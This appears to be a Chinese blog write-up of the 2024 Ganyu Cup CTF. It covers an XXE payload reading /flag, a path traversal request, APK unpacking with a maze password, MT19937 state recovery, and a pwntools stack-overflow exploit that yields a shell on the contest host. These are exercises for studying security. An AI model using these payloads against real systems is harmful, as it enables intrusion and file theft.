2024赣育杯网络安全大赛

2024 年 10 月 28 日 星期一(已编辑)
19
这篇文章上次修改于 2024 年 10 月 28 日 星期一,可能部分内容已经不适用,如有疑问可询问作者。

2024赣育杯网络安全大赛

Web

XXEXXE

<? php

$requestMethod = $_SERVER['REQUEST_METHOD'];

if ($requestMethod == 'GET') {
    highlight_file("exploit.php");
    exit();
}


$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

$pattern = '/system[\s]*\"file/i';

if (preg_match($pattern, $xmlfile, $matches)) {
    echo "xxe attack!!!";
    exit();
}

$pattern2 = '/system[\s][" \']http/i';
if (preg_match($pattern2, $xmlfile, $matches2)) {
    echo "xxe attack!!!";
    exit();
}



try {
    $dom = new DOMDocument();
    $dom - > loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);

    $code = $creds - > code;


    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>", 1, $code);


} catch (Exception $e) {
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>", 3, $e - > getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result; ?>

exp

POST /exploit.php HTTP/2
Host: xvmw7efenlmzdxdu.ctfw.edu.sangfor.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Dnt: 1
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
X-Real-Ip: 92.14.194.117
Priority: u=0, i
Te: trailers
Content-Length: 165

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" >
]>
<creds>
  <code>&xxe;</code>
</creds>
image.png

image.png

ReadFlag

题目提示是在 demo1的路径,查看demo1的代码即可

image.png

image.png

漏洞代码

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  
  
package com.test.demos.web;  
  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
import java.io.OutputStream;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import org.apache.commons.io.IOUtils;  
import org.springframework.web.bind.annotation.CrossOrigin;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RequestMethod;  
import org.springframework.web.bind.annotation.RestController;  
  
@RestController  
@RequestMapping({"/pubfunc"})  
@CrossOrigin(  
    origins = {"*"}  
)  
public class PubfuncController {  
    public PubfuncController() {  
    }  
  
    @RequestMapping(  
        value = {"/previewpdf"},  
        method = {RequestMethod.GET}  
    )  
    public void rptPreview(HttpServletRequest req, HttpServletResponse response) {  
        String filepath = req.getParameter("filepath");  
        FileInputStream fileInputStream = null;  
  
        try {  
            String strPdfpath = filepath;  
            File file = new File(strPdfpath);  
            fileInputStream = new FileInputStream(file);  
            response.setHeader("Content-Disposition", "attachment;fileName=test.pdf");  
            response.setContentType("multipart/form-data");  
            OutputStream outputStream = response.getOutputStream();  
            IOUtils.write(IOUtils.toByteArray(fileInputStream), outputStream);  
        } catch (Exception var16) {  
        } finally {  
            if (fileInputStream != null) {  
                try {  
                    fileInputStream.close();  
                } catch (IOException var15) {  
                }  
            }  
  
        }  
  
    }  
}
GET /demo1/pubfunc/previewpdf?filepath=../../../../../../flag HTTP/1.1
Host: ctfx.edu.sangfor.com.cn:42994
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Real-Ip: 92.14.194.117
Priority: u=0, i

image.png

image.png

Pwn

level3

jadx 打开apk

image.png

image.png

LibSecShell.so 是梆梆加固免费版的壳

参考 常见的厂家的加固方式做一下总结_梆梆加固企业版 和 爱加密-CSDN博客

使用在线平台进行脱壳

APK加固安全测试

使用 dex-tools 将dex 转换为 jar 文件

idea 打开

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  
  
package com.example.myapplication;  
  
import android.os.Bundle;  
import android.view.View;  
import android.widget.Button;  
import android.widget.EditText;  
import android.widget.Toast;  
import androidx.appcompat.app.AppCompatActivity;  
import com.example.myapplication.R.id;  
import com.example.myapplication.R.layout;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.InputStream;  
import java.util.zip.Inflater;  
  
public class MainActivity extends AppCompatActivity implements View.OnClickListener {  
    byte[] map = null;  
    EditText password = null;  
  
    public MainActivity() {  
    }  
  
    public static byte[] decompress(byte[] var0) throws IOException {  
        Inflater var1 = new Inflater();  
        var1.setInput(var0);  
        ByteArrayOutputStream var4 = new ByteArrayOutputStream(var0.length);  
        byte[] var2 = new byte[1024];  
  
        while(!var1.finished()) {  
            try {  
                var4.write(var2, 0, var1.inflate(var2));  
            } catch (Exception var3) {  
                break;  
            }  
        }  
  
        var4.close();  
        return var4.toByteArray();  
    }  
  
    public boolean checkPassword(byte[] var1, String var2) {  
        int var3 = 1;  
        int var4 = 1;  
        char[] var7 = var2.toCharArray();  
        int var6 = var7.length;  
        int var5 = 0;  
  
        while(var5 < var6) {  
            switch (var7[var5]) {  
                case 'a':  
                    --var4;  
                    break;  
                case 'd':  
                    ++var4;  
                    break;  
                case 's':  
                    ++var3;  
                    break;  
                case 'w':  
                    --var3;  
                    break;  
                default:  
                    return false;  
            }  
  
            switch (var1[var3 * 11 + var4]) {  
                case 35:  
                    return false;  
                case 36:  
                    return true;  
                case 42:  
                default:  
                    ++var5;  
            }  
        }  
  
        return false;  
    }  
  
    public void onClick(View var1) {  
        try {  
            InputStream var4 = this.getResources().getAssets().open("map");  
            byte[] var2 = new byte[var4.available()];  
            this.map = var2;  
            var4.read(var2);  
            if (var4.read(this.map) == 0) {  
                Exception var5 = new Exception();  
                throw var5;  
            }  
  
            this.map = decompress(this.map);  
        } catch (Exception var3) {  
            Toast.makeText(this, "something wrong", 0).show();  
        }  
  
        if (this.checkPassword(this.map, this.password.getText().toString())) {  
            Toast.makeText(this, "you are right flag is md5(your input)(lower case~)", 0).show();  
        } else {  
            Toast.makeText(this, "wrong input!", 0).show();  
        }  
  
    }  
  
    protected void onCreate(Bundle var1) {  
        super.onCreate(var1);  
        this.setContentView(layout.activity_main);  
        Button var2 = (Button)this.findViewById(id.button);  
        this.password = (EditText)this.findViewById(id.editTextText);  
        var2.setOnClickListener(this);  
    }  
}

二维地图

############****#****##*#*###*#*##*#*****#*##*#######*##*#*******##*#*#*#*#*##*#*#*#*#*####*#*#*####***#*#**$############

密码为

ddssddddwwddssssaassssdd
image.png

image.png

flag 为

Sangfor{a7bfaf2c2d38fea97b8ecc0919cdff04}

Crypto

Random-dlp

解密基于 MT19937 的随机数生成器

  1. 数据读取

    • 从 output.txt 文件中读取四个序列,包括两个用于验证的大整数 p 和 g,以及两个密钥序列 c 和 random_list。
  2. 初始化和数据分解

    • 使用读取的 random_list 的前两项作为 N 和 gift,这两个数用于后续的数学运算和验证。
  3. 递归分解

    • 定义了一个递归函数 fac(p, q),用来分解整数 N,寻找符合给定条件的二进制表示的因子。
    • 这个过程通过二进制探索(0和1的添加),并在满足特定模运算条件时进行进一步递归。
  4. MT19937 预测器使用

    • 利用 ExtendMT19937Predictor 类的方法,设置已知的随机状态并进行“回退”操作以恢复更早的状态。
    • 这包括多次回退操作来逐步恢复到初始的随机种子状态。
  5. 计算和输出最终结果

    • 最终通过恢复的种子生成特定格式的标志字符串 flag。

      from extend_mt19937_predictor import ExtendMT19937Predictor
       import sys
       sys.setrecursionlimit(3000)
      
       f = open("output.txt",'r').readlines()
       p = eval(f[0])
       g = eval(f[1])
       c = eval(f[2])
      
       random_list = eval(f[3])
      
       \# 分解
       N = random_list[0]
       gift = random_list[1]
      
       def fac(p,q):
         if len(p) == 1024:
           pp = int(p,2)
           if N % pp == 0:
             print(f"num1 = {pp}")
             print(f"num2 = {N // pp}")
         else:
           l = len(p)
           pp = int(p,2)
           qq = int(q,2)
           if (pp ^ qq) % (2 ** l) == gift % (2**l) and pp * qq % (2**l) == N % (2**l):
             fac('1' + p,'1' + q)
             fac('0' + p,'1' + q)
             fac('1' + p,'0' + q)
             fac('0' + p,'0' + q)
      
       \# fac('1','1')
      
       num1 = 127954378905954473979599580543506133734470934402921187567126328044915399136783613004594347893231249786782113863929878799565038392492182148282608301947643527866047185811106214065159313666530775740342170598378474744062316856449855121227117986037506212272472581097517909639356259473022026193056598279705883312493
       num2 = 39590745269613494512251071983478757508814280272882049594849029032543594900913069786771939178626302619505593605829896534613681707527396968070583148545044036306348014204000427687094161885558852315374684881011665955520787218713536145424007912730740353898075406161865607017294126568950247058934097741037059441349
      
       tmp = [num1,num2] + random_list[2:]
       D = []
       for i in range(len(tmp)):
         D.append(tmp[i] >> 32)
      
       predictor = ExtendMT19937Predictor()
      
       predictor.setrandbits(g,128)
       for i in range(len(D)):
         predictor.setrandbits(D[i],992)
      
       for i in range(len(D)):
         predictor.backtrack_getrandbits(992)
      
       predictor.backtrack_getrandbits(128)
       predictor.backtrack_getrandbits(32)
      
       m = predictor.backtrack_getrandbits(128)
       flag = b'Sangfor{'+str(m).encode()+b'}'
       print(flag)
      

Misc

image.png

image.png

OF

ida打开,发现是栈溢出

把后门地址覆盖ret地址 getshell

image.png

image.png
from pwn import *
context.log_level = "debug"


sh = remote ("ctfx.edu.sangfor.com.cn", 41682)

def g():
    global sh
    gdb.attach(sh,'''
        brva 0x00011FC
    ''')
    pause()

sh.sendline(82*b"a" + p32(0xC8E51295))

sh.interactive()

image.png

image.png

勒索病毒

感觉是签到题,直接010打开发现flag

image.png

image.png
  • Loading...
  • Loading...
  • Loading...
  • Loading...
  • Loading...